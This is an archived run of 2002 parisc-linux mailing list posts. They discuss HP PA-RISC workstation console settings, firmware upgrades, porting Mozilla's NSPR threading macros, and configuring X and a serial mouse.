	for <parisc-linux@parisc-linux.org>; Fri,  4 Jan 2002 00:40:08 -0700 (MST)
Original-Received: from mmp-2.gci.net ([208.138.130.81]) by mta-1.gci.net
          (Netscape Messaging Server 4.15) with ESMTP id GPELAU00.DZ8 for
          <parisc-linux@parisc-linux.org>; Thu, 3 Jan 2002 22:40:06 -0900 
Original-Received: from goliath.alaskatech.org ([24.237.5.207]) by
          mmp-2.gci.net (Netscape Messaging Server 4.15) with ESMTP id
          GPELAU02.27S; Thu, 3 Jan 2002 22:40:06 -0900 
Original-Received: from goliath.alaskatech.org (goliath.alaskatech.org [24.237.5.207])
	by goliath.alaskatech.org (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id WAA19736;
	Thu, 3 Jan 2002 22:36:40 -0900
In-Reply-To: <20020103193036.772a6d0b.csuder@cisco.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13582

On Thu, 3 Jan 2002, Christian Suder wrote:
> on the (older) C110 you hit <TAB> as soon as the monitor shows some sign
> of life and it will cycle through the available settings. I guess it's the
> same on a C180.

Let the record show that hitting [TAB] on the C180 as soon as the monitor
scrambles will cycle repeatedly through all 15 monitor settings; the
A1097C likes #12, at 1280x1024@75...

> Otherwise you can remove the adapter to force it back to the serial
> console.

This would have been my first thought, except for the whole "integrated
video" thing the C180 does :-)




From - Thu Nov 08 21:21:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tom <palinux@alaskatech.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] LinuxLogo error
Date: Thu, 3 Jan 2002 22:41:37 -0900 (AKST)
Lines: 10
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0201032239300.19160-100000@goliath.alaskatech.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620919 356 80.91.229.3 (22 Nov 2014 01:48:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:39 +0000 (UTC)
To: PA-RISC Linux List <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan  4 00:45:05 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mta-2.gci.net (mta-2.gci.net [208.138.130.83])
	by dsl2.external.hp.com (Postfix) with ESMTP id D2E7F482A
	for <parisc-linux@parisc-linux.org>; Fri,  4 Jan 2002 00:45:03 -0700 (MST)
Original-Received: from mmp-2.gci.net ([208.138.130.81]) by mta-2.gci.net
          (Netscape Messaging Server 4.15) with ESMTP id GPELJ300.JRW for
          <parisc-linux@parisc-linux.org>; Thu, 3 Jan 2002 22:45:03 -0900 
Original-Received: from goliath.alaskatech.org ([24.237.5.207]) by
          mmp-2.gci.net (Netscape Messaging Server 4.15) with ESMTP id
          GPELJ301.J84 for <parisc-linux@parisc-linux.org>; Thu, 3 Jan
          2002 22:45:03 -0900 
Original-Received: from goliath.alaskatech.org (goliath.alaskatech.org [24.237.5.207])
	by goliath.alaskatech.org (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id WAA19751
	for <parisc-linux@parisc-linux.org>; Thu, 3 Jan 2002 22:41:37 -0900
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13583

Now that the nice monitor works I loaded the LinuxLogo package, so I can
get my cool Debian logo on boot, plus see those all-important bogoMIPS
scores :-)

However, I noticed that my logo shows that I have "zero 180.0000 mhz
processors" in my system. Has anyone else noticed this error? I believe
the 715/100 behaved correctly...




From - Thu Nov 08 21:21:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Wood <mwood@its.uct.ac.za>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Upgrading 715/100 Firmware
Date: Fri, 4 Jan 2002 10:57:18 +0200
Lines: 14
Approved: news@gmane.org
Message-ID: <20020104085718.GB1029@marmite.its.uct.ac.za>
References: <ferguson@quango.net> <5.1.0.14.2.20020103010257.02f9c440@mail.quango.net> <5.1.0.14.2.20020103010257.02f9c440@mail.quango.net> <5.1.0.14.2.20020103132428.00afee90@mail.quango.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620920 358 80.91.229.3 (22 Nov 2014 01:48:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:40 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan  4 01:57:31 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.uct.ac.za (mail.uct.ac.za [137.158.128.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id B8F87482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  4 Jan 2002 01:57:30 -0700 (MST)
Original-Received: from marmite.its.uct.ac.za ([137.158.26.155])
	by mail.uct.ac.za with esmtp (Exim 3.33 #4)
	id 16MQBa-000Fzm-00; Fri, 04 Jan 2002 10:58:46 +0200
Original-Received: by marmite.its.uct.ac.za (Postfix, from userid 1000)
	id DA8C91A329; Fri,  4 Jan 2002 10:57:18 +0200 (SAST)
Mail-Followup-To: Michael Wood <mwood@its.uct.ac.za>,
	parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
Content-Disposition: inline
In-Reply-To: <5.1.0.14.2.20020103132428.00afee90@mail.quango.net>
User-Agent: Mutt/1.3.24i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13584

On Thu, Jan 03, 2002 at 01:27:04PM -0800, Bill Ferguson wrote:
> Now that worked!   My firmware is up to date!
> 
> Disk has to "raw" unpartitioned.   Thanks Grant!  I'll now
> write that FAQ for booting firmware I promised!

It doesn't matter if it's partitioned or not.  When you
dd ... of=/dev/sda
you overwrite the partition table anyway...

-- 
Michael Wood <mwood@its.uct.ac.za>



From - Thu Nov 08 21:21:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bill Ferguson <ferguson@quango.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Upgrading 715/100 Firmware
Date: Fri, 04 Jan 2002 01:18:18 -0800
Lines: 20
Approved: news@gmane.org
Message-ID: <5.1.0.14.2.20020104011417.023b6008@mail.quango.net>
References: <5.1.0.14.2.20020103132428.00afee90@mail.quango.net>
 <ferguson@quango.net>
 <5.1.0.14.2.20020103010257.02f9c440@mail.quango.net>
 <5.1.0.14.2.20020103010257.02f9c440@mail.quango.net>
 <5.1.0.14.2.20020103132428.00afee90@mail.quango.net> <20020104085718.GB1029@marmite.its.uct.ac.za>
Reply-To: ferguson@quango.net
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Trace: ger.gmane.org 1416620920 361 80.91.229.3 (22 Nov 2014 01:48:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:40 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan  4 02:18:26 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.quango.net (unknown [63.102.227.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id A5904482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  4 Jan 2002 02:18:25 -0700 (MST)
Original-Received: from shiftright.mail.quango.net [24.55.42.220] by quango.net [63.102.227.120]
	with SMTP (MDaemon.v3.5.1.R)
	for <parisc-linux@lists.parisc-linux.org>; Fri, 04 Jan 2002 01:11:50 -0800
X-Sender: ferguson@mail.quango.net
X-Mailer: QUALCOMM Windows Eudora Version 5.1
In-Reply-To: <20020104085718.GB1029@marmite.its.uct.ac.za>
Original-References: <5.1.0.14.2.20020103132428.00afee90@mail.quango.net>
 <ferguson@quango.net>
 <5.1.0.14.2.20020103010257.02f9c440@mail.quango.net>
 <5.1.0.14.2.20020103010257.02f9c440@mail.quango.net>
 <5.1.0.14.2.20020103132428.00afee90@mail.quango.net>
X-MDRemoteIP: 24.55.42.220
X-Return-Path: ferguson@quango.net
X-MDaemon-Deliver-To: parisc-linux@lists.parisc-linux.org
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13585

At 10:57 AM 1/4/2002 +0200, you wrote:
>It doesn't matter if it's partitioned or not.  When you
>dd ... of=/dev/sda
>you overwrite the partition table anyway...
>
>--
>Michael Wood <mwood@its.uct.ac.za>


That maybe true but it didn't boot for me when I did that.  It was only 
when I deleted the partitions that it booted.

Anyone know how to get the STI console working?   It sees the two frame 
buffers in the 715, but isn't going there.    I see lots of posts in the 
archives asking this question, but not too many replies in archives with 
the answer.





From - Thu Nov 08 21:21:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christian Suder <csuder@cisco.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Need five #defines, please.....
Date: Fri, 4 Jan 2002 01:25:59 -0800
Lines: 52
Approved: news@gmane.org
Message-ID: <20020104012559.69375281.csuder@cisco.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620920 364 80.91.229.3 (22 Nov 2014 01:48:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:40 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan  4 02:26:03 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sj-msg-core-4.cisco.com (sj-msg-core-4.cisco.com [171.71.163.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id AC979482B
	for <parisc-linux@lists.parisc-linux.org>; Fri,  4 Jan 2002 02:26:02 -0700 (MST)
Original-Received: from mira-sjc5-9.cisco.com (mira-sjc5-9.cisco.com [171.71.163.32])
	by sj-msg-core-4.cisco.com (8.11.3/8.9.1) with ESMTP id g049Q1v13675
	for <parisc-linux@lists.parisc-linux.org>; Fri, 4 Jan 2002 01:26:01 -0800 (PST)
Original-Received: from cisco.com (ssh-sj1.cisco.com [171.68.225.134])
	by mira-sjc5-9.cisco.com (Mirapoint)
	with SMTP id ABS81237;
	Fri, 4 Jan 2002 01:26:08 -0800 (PST)
X-Mailer: Sylpheed version 0.6.6 (GTK+ 1.2.10; hppa-debian-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13586

Ok,


I'm trying to skin the lizard (mozilla 0.9.7). I can build with the linux
default pthreads, but it doesn' work, windows show up but the content is
not drawn etc.. Hence I'd like to try a build with "classic" NSPR, which
implements it's own threading mechanism. Problem : There is a couple of
hardware-specific definitions that I don't know how to do, but somebody
with some insight in parisc-linux may be able to put it down in 5 minutes
(I hope..). Or maybe it has been solved it already ? 

Here's what I'm missing : 

#elif defined(__hppa__)
/* parisc */    
#define _MD_GET_SP(_t) 
#define _MD_SET_FP(_t, val)
#define _MD_GET_SP_PTR(_t) 
#define _MD_GET_FP_PTR(_t)
#define _MD_SP_TYPE 

As a hint, here some existing defines. As far as my limited incompetence
can tell these provide access to some of the context information of the
threads :

/* Sparc */  
#define _MD_GET_SP(_t) (_t)->md.context[0].__jmpbuf[JB_SP]
#define _MD_SET_FP(_t, val) ((_t)->md.context[0].__jmpbuf[JB_FP] = val)
#define _MD_GET_SP_PTR(_t) &(_MD_GET_SP(_t))
#define _MD_GET_FP_PTR(_t) (&(_t)->md.context[0].__jmpbuf[JB_FP])
#define _MD_SP_TYPE int

/* Alpha based Linux */
#define _MD_GET_SP(_t) (_t)->md.context[0].__jmpbuf[JB_SP]
#define _MD_SET_FP(_t, val)
#define _MD_GET_SP_PTR(_t) &(_MD_GET_SP(_t))
#define _MD_GET_FP_PTR(_t) ((void *) 0)
#define _MD_SP_TYPE long int


/* Intel based Linux */ 
#define _MD_GET_SP(_t) (_t)->md.context[0].__jmpbuf[JB_SP]
#define _MD_SET_FP(_t, val) ((_t)->md.context[0].__jmpbuf[JB_BP] = val)
#define _MD_GET_SP_PTR(_t) &(_MD_GET_SP(_t))                           
#define _MD_GET_FP_PTR(_t) (&(_t)->md.context[0].__jmpbuf[JB_BP])         
     #define _MD_SP_TYPE int


Thanks,
	Christian 



From - Thu Nov 08 21:21:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "kenneth westelinck" <kennywest1@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Need five #defines, please.....
Date: Fri, 4 Jan 2002 11:51:25 +0100
Lines: 78
Approved: news@gmane.org
Message-ID: <OE41uHR2lXB5DtxKHcV00005ff9@hotmail.com>
References: <20020104012559.69375281.csuder@cisco.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620920 369 80.91.229.3 (22 Nov 2014 01:48:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:40 +0000 (UTC)
To: "Christian Suder" <csuder@cisco.com>,
	<parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan  4 03:51:54 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hotmail.com (oe41.law4.hotmail.com [216.33.148.78])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3C557482C
	for <parisc-linux@lists.parisc-linux.org>; Fri,  4 Jan 2002 03:51:53 -0700 (MST)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Fri, 4 Jan 2002 02:51:48 -0800
X-Originating-IP: [213.224.83.174]
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
X-OriginalArrivalTime: 04 Jan 2002 10:51:48.0264 (UTC) FILETIME=[CEF94280:01C1950D]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13587

Christian,

Can you keep me informed about this issue, as I am very keen on getting
mozilla to work on my 712/60. I've tried to compile the 0.9.5 version, a
long time ago, without any success (see earlier posts). I'm interested in
which files I need to modify, configure options, compiler options, ... .

Many thanks in advance.


regards,
Kenneth

----- Original Message -----
From: "Christian Suder" <csuder@cisco.com>
To: <parisc-linux@lists.parisc-linux.org>
Sent: Friday, January 04, 2002 10:25 AM
Subject: [parisc-linux] Need five #defines, please.....


> Ok,
>
>
> I'm trying to skin the lizard (mozilla 0.9.7). I can build with the linux
> default pthreads, but it doesn' work, windows show up but the content is
> not drawn etc.. Hence I'd like to try a build with "classic" NSPR, which
> implements it's own threading mechanism. Problem : There is a couple of
> hardware-specific definitions that I don't know how to do, but somebody
> with some insight in parisc-linux may be able to put it down in 5 minutes
> (I hope..). Or maybe it has been solved it already ?
>
> Here's what I'm missing :
>
> #elif defined(__hppa__)
> /* parisc */
> #define _MD_GET_SP(_t)
> #define _MD_SET_FP(_t, val)
> #define _MD_GET_SP_PTR(_t)
> #define _MD_GET_FP_PTR(_t)
> #define _MD_SP_TYPE
>
> As a hint, here some existing defines. As far as my limited incompetence
> can tell these provide access to some of the context information of the
> threads :
>
> /* Sparc */
> #define _MD_GET_SP(_t) (_t)->md.context[0].__jmpbuf[JB_SP]
> #define _MD_SET_FP(_t, val) ((_t)->md.context[0].__jmpbuf[JB_FP] = val)
> #define _MD_GET_SP_PTR(_t) &(_MD_GET_SP(_t))
> #define _MD_GET_FP_PTR(_t) (&(_t)->md.context[0].__jmpbuf[JB_FP])
> #define _MD_SP_TYPE int
>
> /* Alpha based Linux */
> #define _MD_GET_SP(_t) (_t)->md.context[0].__jmpbuf[JB_SP]
> #define _MD_SET_FP(_t, val)
> #define _MD_GET_SP_PTR(_t) &(_MD_GET_SP(_t))
> #define _MD_GET_FP_PTR(_t) ((void *) 0)
> #define _MD_SP_TYPE long int
>
>
> /* Intel based Linux */
> #define _MD_GET_SP(_t) (_t)->md.context[0].__jmpbuf[JB_SP]
> #define _MD_SET_FP(_t, val) ((_t)->md.context[0].__jmpbuf[JB_BP] = val)
> #define _MD_GET_SP_PTR(_t) &(_MD_GET_SP(_t))
> #define _MD_GET_FP_PTR(_t) (&(_t)->md.context[0].__jmpbuf[JB_BP])
>      #define _MD_SP_TYPE int
>
>
> Thanks,
> Christian
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>



From - Thu Nov 08 21:21:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aaron Macks <aaronm@cs.brandeis.edu.ml.to>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 755 sucess and questions
Date: Fri, 4 Jan 2002 13:31:55 -0500
Lines: 10
Approved: news@gmane.org
Message-ID: <a05100300b85ba56484f5@[129.64.46.83]>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Trace: ger.gmane.org 1416620921 372 80.91.229.3 (22 Nov 2014 01:48:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:41 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan  4 11:31:43 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hermes.cs.brandeis.edu (hermes.cs.brandeis.edu [129.64.2.5])
	by dsl2.external.hp.com (Postfix) with ESMTP id 45F81482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  4 Jan 2002 11:31:42 -0700 (MST)
Original-Received: from [129.64.46.83] (dhcp-129.64.46.83.cs-i.brandeis.edu [129.64.46.83])
	by hermes.cs.brandeis.edu (8.11.6/8.9.3) with ESMTP id g04IVeX03794
	for <parisc-linux@lists.parisc-linux.org>; Fri, 4 Jan 2002 13:31:40 -0500
X-Sender: aaronm@mail.cs.brandeis.edu (Unverified)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13588

so I got 0.93 to install on my 755/125, but I have two questions:
-how does one configure a mouse on a serial port
-how does one configure X
Aaron
-- 
_______________________________________________________
Aaron Macks(aaronm@cs.brandeis.edu)
My sheep has seven gall bladders, that makes me the King of the Universe!



From - Thu Nov 08 21:21:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aaron Macks <aaronm@cs.brandeis.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 755 sucess and questions
Date: Fri, 4 Jan 2002 14:56:57 -0500
Lines: 84
Approved: news@gmane.org
Message-ID: <20020104145657.A7381@daedalus.cs.brandeis.edu>
References: <a05100300b85ba56484f5@[129.64.46.83]> <3C3604EC.7050608@interaccess.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620921 375 80.91.229.3 (22 Nov 2014 01:48:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:41 +0000 (UTC)
Cc: PARISC-Linux <parisc-linux@lists.parisc-linux.org>
To: "Bryan W. Headley" <bheadley@interaccess.com.ml.to>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan  4 12:57:01 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from daedalus.cs.brandeis.edu (daedalus.cs.brandeis.edu [129.64.3.179])
	by dsl2.external.hp.com (Postfix) with ESMTP id CE419482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  4 Jan 2002 12:57:00 -0700 (MST)
Original-Received: (from aaronm@localhost)
	by daedalus.cs.brandeis.edu (8.9.3/8.9.3) id OAA07472;
	Fri, 4 Jan 2002 14:56:57 -0500
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <3C3604EC.7050608@interaccess.com>; from bheadley@interaccess.com.ml.to on Fri, Jan 04, 2002 at 01:39:24PM -0600
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13589

On Fri, Jan 04, 2002 at 01:39:24PM -0600, Bryan W. Headley wrote:
> Aaron Macks wrote:
> 
> > so I got 0.93 to install on my 755/125, but I have two questions:
> > -how does one configure a mouse on a serial port
> > -how does one configure X
> > Aaron
> 
> 
ok, the framebuffer stuff sounds good, can be done when I return to
the machine
> 1. You need to know your framebuffer's screen resolution. Run fbset, or 
> look at /var/log/messages.
> 
> piddle:/etc/X11# /usr/sbin/fbset -i
> 
> mode "1280x1024"
>      geometry 1280 1024 1280 1024 32
>      timings 0 0 0 0 0 0 0
>      rgba 8/16,8/8,8/0,8/24
> endmode
> 
> Frame buffer device information:
>      Name        :
>      Address     : 0xf5000000
>      Size        : 8388608
>      Type        : PACKED PIXELS
>      Visual      : TRUECOLOR
>      XPanStep    : 0
>      YPanStep    : 0
>      YWrapStep   : 0
>      LineLength  : 8192
>      Accelerator : No
> 
> Mine tells me I have 1280x1024, 32-color. 8-color is also popular (look 
> at the last number in the "geometry" line.
> 
> 2. Run debconf. (Apply the patch first). It generally offers several 
> screen resolutions. You only want ONE resolution: the one the 
> framebuffer supports. Here, we're talking 1280x1024
which patch for debconf?
> 
> 3. Your mouse is a little different, but not that different. Tell 
> debconf whether it's a microsoft-compatible or logitech protocol mouse, 
> and which tty port it's connected to. (Really: not an HP mouse?)
> 
The only reason I'm not using the HP mouse(there is a HIL one attached
to the keyboard) is that the docs I saw online stated a lack of
support for the hil mice.
> 4. Linux is generally rigged not to use the serial ports for 
> modems/terminals. But yours might be... It's configured in /etc/inittab.
> 
> 	# Example how to put a getty on a serial line (for a terminal)
> 	#
> 	#T0:23:respawn:/sbin/getty -L ttyS0 9600 vt100
> 	#T1:23:respawn:/sbin/getty -L ttyS1 9600 vt100
> 
> 	# Example how to put a getty on a modem line.
> 	#
> 	#T3:23:respawn:/sbin/mgetty -x0 -s 57600 ttyS3
> 
